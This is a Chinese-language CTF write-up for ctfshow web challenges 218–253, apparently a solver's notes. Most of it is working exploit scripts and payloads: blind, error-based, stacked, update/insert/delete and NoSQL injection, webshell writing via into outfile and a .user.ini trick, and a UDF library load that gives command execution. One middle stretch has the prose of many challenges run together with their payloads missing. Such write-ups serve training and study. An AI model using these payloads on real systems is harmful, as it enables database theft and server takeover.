'ip':"if(ascii(substr((select flagaac from ctfshow_flagxc),{},1))<{},{},0)".format(i,mid,time),'debug':"0" #ctfshow{4782f3eb-3533-4efa-89c7-d83f0d2b1e08}
}
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.5)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
t.sleep(0.2)
t.sleep(1)
web219(笛卡尔积注入)
过滤sleep、benchmark、rlike
笛卡尔积
多个集合中的每个元素所组成的集合，例：AxB=A和B中每个元素的组合所组成的集合
过滤rlike可以用regexp代替，regexp只需要把上题了exp的rlike换成regexp即可，这里用笛卡尔积盲注
#@Auth：Sentiment
import requests
import time as t
url='http://7a3e420c-16f5-43e2-b2ff-86b291d6db01.challenge.ctf.show/api/index.php'
flag=''
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)".format(i,mid),'debug':"0" # ctfshow_flagxca,ctfshow_info
#'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxca'),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)".format(i,mid),'debug':"0" # id,flagaabc,info
'ip':"if(ascii(substr((select flagaabc from ctfshow_flagxca),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)".format(i,mid),'debug':"0" #ctfshow{95dad069-1b17-4b42-86e0-4e15d5a546ab}
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=0.15)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
t.sleep(0.2)
t.sleep(1)
只设置了两个集合,所以计算时延会很小,因此这里timeout只设置了0.15
web220
返回逻辑
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}
过滤ascii和substr可以用like代替,在构造 payload 的时候使用 limit 限制查询条数，从而绕过 concat 的限制,在上题exp基础上修改一下即可
#@Auth：Sentiment
import requests
import time as t
url='http://b25594e9-ab57-43ce-a255-7b87f771b72a.challenge.ctf.show/api/index.php'
flag='ctfshow{'
for i in range(1,50):
for j in 'abcdefghijklmnopqrstuvwxyz1234567890-_{}':
data={
#'ip':"if((select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%"),'debug':"0" # ctfshow_flagxcac
#'ip':"if((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%"),'debug':"0" # flagaabcc
'ip':"if((select flagaabcc from ctfshow_flagxcac) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%"),'debug':"0" #ctfshow{e97ffaa2-9de8-4b3d-a623-1a09ad9eeb83}
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=0.15)
except:
flag+=j
print(flag)
break
t.sleep(0.3)
由于除flag外其他数据库，表名，列名的值都不是以ctfshow{开头的,所以在爆这些数据时需要修改变量flag的值会有些麻烦,贴一个y4师傅用left截断判断的脚本
"""
Author:Y4tacker
"""
import requests
url = "http://36c60781-7da4-45f9-b863-59f914dffa84.chall.ctf.show/api/"
strr = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1"
payload = "select flagaabcc from ctfshow_flagxcac"
j = 1
res = ""
while 1:
for i in strr:
res += i
data = {
'ip': f"1) or if(left(({payload}),{j})='{res}',(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
'debug': '1'
}
# print(i)
try:
r = requests.post(url, data=data, timeout=3)
res = res[:-1]
except Exception as e:
print(res)
j+=1
其它注入
web221(limit 注入)
查询语句
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
适用于5.0.0 在select的limit后面可以跟procedure 和into两个关键字。 因为into的写文件需要需要知道绝对路径以及写入shell权限。 这里我们主要利用procedure。 procedure后面可以跟参数 analyse又支持两个参数。这里通过报错注入爆出数据库名称 payload: 查询语句 group by可用于时间盲注,举个例子： 查询每一行时都需要执行sleep,我有5行数据所以需要大约5*0.5秒=2.5秒左右的时间 将查询语句与username进行拼接构造payload EXP 过滤数字可以用true进行拼接 查询语句 当传参?u=username时回显中会有userAUTO,但等于其他的值时是没有的因此可以通过这一点进行盲注 EXP 贴个y1ng师傅的wp CTFshow 36D Web Writeup – 颖奇L’Amore (gem-love.com) 大题思路: 师傅做了一个文件，可以直接用，上传上去就可以生成1.php直接getshell 都说在ctfshow群里有个payload.bin文件,但是加入三群没找到,于是根据博客大意弄了一个发现上传成功,前边的C64File是为了绕过类型检测,中间的十六进制为 上传后直接getshell 可以直接参考强网杯2019的随便注 (24条消息) 攻防世界-Web高手进阶区-supersqli(强网杯的随便注)_feng的博客-CSDN博客 先解释一下预处理语句 强网杯的payload: 本题由于过滤掉了alert所以方法一就无法使用了,另外过滤了set 所以方法三就不定义变量了,可以直接写字符串 payload: 过滤了(可以用十六进制绕过 16进制转换，16进制转换文本字符串，在线16进制转换 | 在线工具 (sojson.com) payload: 用上题payload仍然能爆出数据,但无论如何都爆不出flag表 所以这里就用到了mysql存储原理 在MySQL中存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中，可以通过查询该表的记录来查询存储过程和函数的信息，其基本的语法形式如下: SELECT * FROM information_schema.Routines payload: 同226 查询语句 可以通过闭合password,在第一个注入点执行where条件查询语句,并将后边的where闭合掉(注入点/api/ post传参username,password) 传参后update界面中的username，pasword就变成了我们操控的部分 payload： 查询语句 加了md5函数,上题payload,加个)闭合就行 这个题的查询语句跟231的一样,但是不知道为什么用那个题的payload就不行,所以只能用盲注了 payload 这里sleep(1)但是延时了好久,所以这里的sleep应该是一条语句的执行时间 EXP 题目描述说无过滤,但是过滤了单引号，可以利用反斜杠逃逸。 当password传参\时,会将单引号转义，因此后边的where username =会被当做字符串处理,这是我们传参username=,username=xxx，即可完成逃逸 表名部分可以用十六进制绕过 EXP 过滤or,所以information就不能用了 可以用mysql.innodb_table_stats代替,但只能爆出表名 exp 得到表名后再用无列明注入,爆出数据 过滤flag可以用base64编码绕过,用上题exp跑出表flaga，然后执行无列名注入即可 payload: 查询语句 还是通过第一个注入点将后边’)'闭合即可 payload： 老面孔了、括号绕过即可 payload： 过滤or用mysql.innodb_table_stats代替即可,剩下的数据用无列明注入就可爆出,但本题暗过滤了’*’,所以无列明注入也不能用了，只能通过猜表的形式在爆出数据 payload: 真是究极过滤啊,能用的都过滤了,只能根据提示猜测表名了 Hint： EXP sql语句 delete函数在进行判断后会回显删除成功、或删除失败,所以就不能给予回显内容来爆破数据、所以这里用时间盲注 EXP sql语句 into outfile 可以写shell 本题以下三个都可以 payload: 看师傅们都说dump目录下有index.php,所以本题可以用.user.ini绕过 ini文件以注释 前面有一个回车，这样auto_prepend_file可以另起一行，不会被注释。最后还有一个回车，这样就和接下来的一行注释分开,执行后大体就是这样： 再上传Sentiment.jpg，因为过滤了php，可以用短标签或者十六进制绕过： 上传后蚁剑链接即可flag在flag.here中 payload: sql语句 直接sqllabs的payload换个库名，表名即可 payload: 上题payload换换库名，表名即可 都过滤了可以用双查询注入(26条消息) 详细讲解双查询注入_lixiangminghate的专栏-CSDN博客_双查询注入 payload: 过滤了floor可以用ceil或round代替 ceil是向上取整,round是四舍五入 payload: 原理大致就是mysql可以把dll文件写到目标机子的plugin目录，这个目录是可以通过 这里用大师傅的脚本,能直接跑出flag NoSQL注入小笔记 - Ruilin (rui0.cn) 提示flag在flag中 但y4师傅说这题后端对id过滤了非数字，可能用的intval函数。所以这里要用数组绕过 payload: 条件操作符 构造$data = array(“username” => array("$ne" => 1), “password” => array("$ne" => 1));进行绕过 payload: 无过滤的 nosql 注入。 无过滤的 nosql 注入。 再尝试用之前的 payload，登录成功但没有返回数据了。 至此sql注入终于结束了,sql真的是太折磨人了！！！?page=1&limit=1 procedure analyse(extractvalue(null,concat(0x7e,(database()),0x7e)),1)
web222(group by 注入)
$sql = select * from ctfshow_user group by $username;
select * from users group by 1,if(1=1,sleep(0.5),1);
select * from ctfshow_user group by $username;
$username=1,if(1=1,sleep(0.5),1);
拼接后
select * from ctfshow_user group by 1,if(1=1,sleep(0.5),1);
#@Auth：Sentiment
import requests
url='http://d34394c6-f3e8-4f29-b44a-37a8d7b99f4d.challenge.ctf.show/api/index.php?u='
flag=''
for i in range(50):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="1,if(ascii(substr((select database()),{},1))<{},sleep(0.05),1);".format(i,mid)#ctfshow_web
#payload="1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1))<{},sleep(0.05),1);".format(i,mid)#ctfshow_flaga,ctfshow_user
#payload="1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{},1))<{},sleep(0.05),1);".format(i,mid)#id,flagaabc,info
payload="1,if(ascii(substr((select flagaabc from ctfshow_flaga),{},1))<{},sleep(0.05),1);".format(i,mid)#ctfshow{0d226382-652e-4bb0-b33a-d35036ccc50a
#print(url+payload)
try:
r=requests.get(url=url+payload,timeout=0.4)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break;
web223(group by注入过滤数字)
$sql = select * from ctfshow_user group by $username;
//TODO:很安全，不需要过滤
//用户名不能是数字
#@Auth：Sentiment
import requests
def Num(n):
num='true'
if n==1:
return num
else:
for i in range(n-1):
num+="+true"
return num
url='http://e06740c1-28de-45fd-86f1-22c6a412e63e.challenge.ctf.show/api/index.php'
flag=''
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="if(ascii(substr((select database()),{},{}))<{},username,'a')".format(Num(i),Num(1),Num(mid))#ctfshow_web
#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},{}))<{},username,'a');".format(Num(i),Num(1),Num(mid))#ctfshow_flagas,ctfshow_user
#payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{},{}))<{},username,'a');".format(Num(i), Num(1), Num(mid))#id,flagasabc,info
payload = "if(ascii(substr((select flagasabc from ctfshow_flagas),{},{}))<{},username,'a');".format(Num(i), Num(1), Num(mid))#ctfshow{6802deb9-4bd5-47e3-9c0f-e12712dd1c14}
params = {
'u': payload
}
r = requests.get(url=url, params=params)
#print(r.text)
if "userAUTO" not in r.text:
m=mid
else:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
web224
C64File1');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+"
web225
SET @tn = 'tablename'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
例：
char(115,101,108,101,99,116)=select
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from @tn');PREPARE Sentiment from @sqli;EXECUTE Sentiment;#
方法一 使用rename和alter
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
方法二 使用handler
0';handler `1919810931114514` open;handler `1919810931114514` read first;#
方法三 使用预处理语句
0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#
1';handler `ctfshow_flagasa` open;handler`ctfshow_flagasa` read first;
1';prepare Sentiment from concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa');execute Sentiment;
web226
爆表名
1';prepare Sentiment from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d652966726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute Sentiment; //ctfsh_ow_flagas,ctfshow_user
爆列名
1';prepare Sentiment from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d652966726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c6167617327;execute Sentiment; //flagasb
爆数据
1';prepare Sentiment from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute Sentiment;
web227(mysql 存储过程))
查看存储过程
?username=1';prepare Sentiment from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute Sentiment;
调用getFlag()
?username=1';call getFlag();#
web228-230
Update注入
web231(Update注入)
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
爆表名
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
爆列名
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
爆数据
password=1',username=(select flagas from flaga) where 1=1#&username=1
看师傅们用子查询的方式打这道题,目前对子查询了解的还不够，先贴个payload便于以后理解
password=',username=(select a from (select group_concat(flagas)a from flaga) y4tacker) where 1=1;#&username=1
web232
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
web233(时间盲注)
password=1&username=1' or if(1=1,sleep(1),0)#
#@Auth：Sentiment
import requests
url="http://ca1e9492-f29f-4110-9f6c-9688e00dfa6b.challenge.ctf.show/api/"
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':"1' or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.02),1)#".format(i,mid), #banlist,ctfshow_user,flag233333
#'username':"1' or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag233333'),{},1))<{},sleep(0.02),1)#".format(i,mid), #id,flagass233,info
'username':"1' or if(ascii(substr((select flagass233 from flag233333),{},1))<{},sleep(0.02),1)#".format(i,mid), #ctfshow{b633b9e9-ad40-42a7-9e13-88cb9dad755d}
'password': "1"
}
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.35)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
web234(过滤单引号)
$sql = "update ctfshow_user set pass = '\' where username = ',username=xxx';";
#@Auth：Sentiment
import requests
url="http://50923658-cbcd-4f6d-b81a-d79693e0056d.challenge.ctf.show/api/"
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':",username=if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.02),1)#".format(i,mid), #banlist,ctfshow_user,flag23a
#'username':",username=if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=0x666c6167323361),{},1))<{},sleep(0.02),1)#".format(i,mid), #id,flagass23s3,info
'username':",username=if(ascii(substr((select flagass23s3 from flag23a),{},1))<{},sleep(0.02),1)#".format(i,mid), #ctfshow{8371d57d-4d02-487f-8871-f0a0591421c7}
'password': "\\"
}
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.35)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
web235(过滤or)
#@Auth：Sentiment
import requests
url="http://5b226a59-9c00-4c5c-8a4e-b5ecdb9dcd00.challenge.ctf.show/api/"
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
'username':",username=if(ascii(substr((select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()),{},1))<{},sleep(0.02),1)#".format(i,mid), #banlist,ctfshow_user,flag23a1
'password': "\\"
}
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.35)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
password=\&username=,username=(select `2` from (select 1,2,3 union select * from `flag23a1` limit 1,1)a)#
web236(过滤输出flag)
password=\&username=,username=(select to_base64(`2`) from (select 1,2,3 union select * from flaga limit 1,1)a)#
inser注入
web237(inser注入)
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
查表名：
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1
查列名：
username=1',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=1
爆数据：
username=1',(select flagass23s3 from flag))#&password=1
web238(过滤空格)
爆表名
1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#
爆列名
1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#
爆数据
1',(select(flag)from(flagb)))#
web239(过滤空格、or)
爆表名
1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#
爆列名
1',(select(group_concat(`2`))from(select(1),2,(3)union(select(`*`)from(flagbb)))x)# //过滤*无法插入，因此也无法查询列
爆数据
根据上题猜测列名为flag,爆数据
1',(select(flag)from(flagbb)))#
web240(过滤空格 or sys mysql)
表名共9位，flag开头，后五位由a/b组成，如flagabaab，全小写
import requests
url='http://ec8be957-60f9-4bf6-8cca-fd028e80599f.challenge.ctf.show/api/insert.php'
for i in 'ab':
for j in 'ab':
for k in 'ab':
for m in 'ab':
for n in 'ab':
data={
'username':"1',(select(flag)from({})))#".format('flag'+i+j+k+m+n),
'password':'1'
}
r=requests.post(url=url,data=data)
delete注入
web241
$sql = "delete from ctfshow_user where id = {$id}";
#@Auth：Sentiment
import requests
url='http://80bc5222-eeb8-4d94-a68a-57d494f5809e.challenge.ctf.show/api/delete.php'
flag=''
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'id':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.05),1)#".format(i,mid) # banlist,ctfshow_user,flag
#'id':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))<{},sleep(0.05),0)".format(i,mid) #id,flag,info
'id':"if(ascii(substr((select flag from flag),{},1))<{},sleep(0.05),0)".format(i,mid) #ctfshow{24de54e5-a424-4e33-b6ff-00da4a72c909} }
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=1)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
FILE注入
web242(传参写shell)
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
“OPTION”参数为可选参数选项，其可能的取值有：
`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。
filename=1.php' LINES STARTING BY ''#
flag在flag.here中
0=system('cat /flag.here');
web243(过滤php)
filename=.user.ini' lines starting by ';' terminated by 0xa6175746f5f70726570656e645f66696c653d53656e74696d656e742e6a7067#
; 开头，这里用 starting by ‘;’ 注释掉之前查询出的内容,用terminated by 包含Sentiment.jpgauto_prepend_file=Sentiment.jpg
;1 ctfshow ctfshow
auto_prepend_file=Sentiment.jpg
;2 user1 111
auto_prepend_file=Sentiment.jpg
;3 user2 222
auto_prepend_file=Sentiment.jpg
;4 userAUTO passwordAUTO
auto_prepend_file=Sentiment.jpg
filename=Sentiment.jpg' lines terminated by 0x3c3f706870206576616c28245f504f53545b305d293b3f3e#
filename=.user.ini' lines starting by ';' terminated by 0xa6175746f5f70726570656e645f66696c653d53656e74696d656e742e6a7067#
filename=Sentiment.jpg' lines terminated by 0x3c3f706870206576616c28245f504f53545b305d293b3f3e#
报错注入
报错注入方式
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));
web244
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e))--+
?id=1' and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow_web' limit 1,1),0x7e))--+
?id=1' and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_name='ctfshow_flag' limit 1,1),0x7e))--+
?id=1' and extractvalue(null,concat(0x7e,(select flag from ctfshow_flag limit 0,1),0x7e))--+
xpath的报错只有32位,因此需读取另一半flag
?id=1' and extractvalue(null,concat(0x7e,(select right(flag,30) from ctfshow_flag limit 0,1),0x7e))--+
web245(过滤updatexml)
web246(过滤updatexml extractvalue)
爆表名
?id=' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.columns group by a--+
爆列名
?id=' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x7e,floor(rand()*2))a from information_schema.columns group by a--+
爆数据
?id=' union select 1,count(*),concat((select flag2 from ctfshow_flags ),0x7e,floor(rand()*2))a from information_schema.columns group by a--+
web247(过滤updatexml extractvalue floor)
爆表名
?id=%27%20union%20select%201,count(*),concat(0x7e,0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x7e,ceil(rand()*2))a%20from%20information_schema.columns%20group%20by%20a--+
爆列名
?id=%27%20union%20select%201,count(*),concat(0x7e,0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name='ctfshow_flagsa'%20limit%201,1),0x7e,ceil(rand()*2))a%20from%20information_schema.columns%20group%20by%20a--+
爆数据
?id=%27%20union%20select%201,count(*),concat(0x7e,(select `flag?` from ctfshow_flagsa ),0x7e,ceil(rand()*2))a%20from%20information_schema.columns%20group%20by%20a--+
eval注入
web248(eval注入)
select @@plugin_dir来得到的。import requests
base_url="http://c686a8de-b8e6-47cc-9f59-0a1789383f19.challenge.ctf.show/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = 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for i in range(0,21510, 5000):
end = i + 5000
payload.append(udf[i:end])
p = dict(zip(text, payload))
for t in text:
url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
r = requests.get(url)
print(r.status_code)
next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)
uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)
Nosql注入
web249
?id[]=flag
web 250(表单注入)
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
//无过滤
if(count($cursor)>0){
$ret['msg']='登陆成功';
array_push($ret['data'], $flag);
}
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all
$or: or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式：db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/
username[$ne]=1&password[$ne]=1
还可以使用正则
username[$regex]=.*&password[$regex]=.*
web 251-252(nosql)
继续用上一题的 payload，返回 admin 的密码，但是这次的密码里没有 flag，改成 array("$ne" => "admin") 后密码处出现 flag。
payload:username[$ne]=admin&password[$ne]=1
web252
继续用上一题的 payload，又出来个 admin1，同时还不能是 admin，正则绕过
payload:username[$regex]=^[^a].*&password[$ne]=1
web253
猜测username 是 flag，username[$regex]=flag&password[$ne]=1 可以登录成功，用feng师傅脚本正则布尔盲注密码。"""
Author : feng
Time : 2021-2-14
"""
import requests
url="http://2184e9b4-619a-43dd-b8de-015a6a74fe3d.chall.ctf.show:8080/api/"
flag=""
for i in range(1,100):
for j in "{-abcdefghijklmnopqrstuvwxyz0123456789}":
payload="^{}.*$".format(flag+j)
data={
'username[$regex]':'flag',
'password[$regex]':payload
}
r=requests.post(url=url,data=data)
if r"\u767b\u9646\u6210\u529f" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break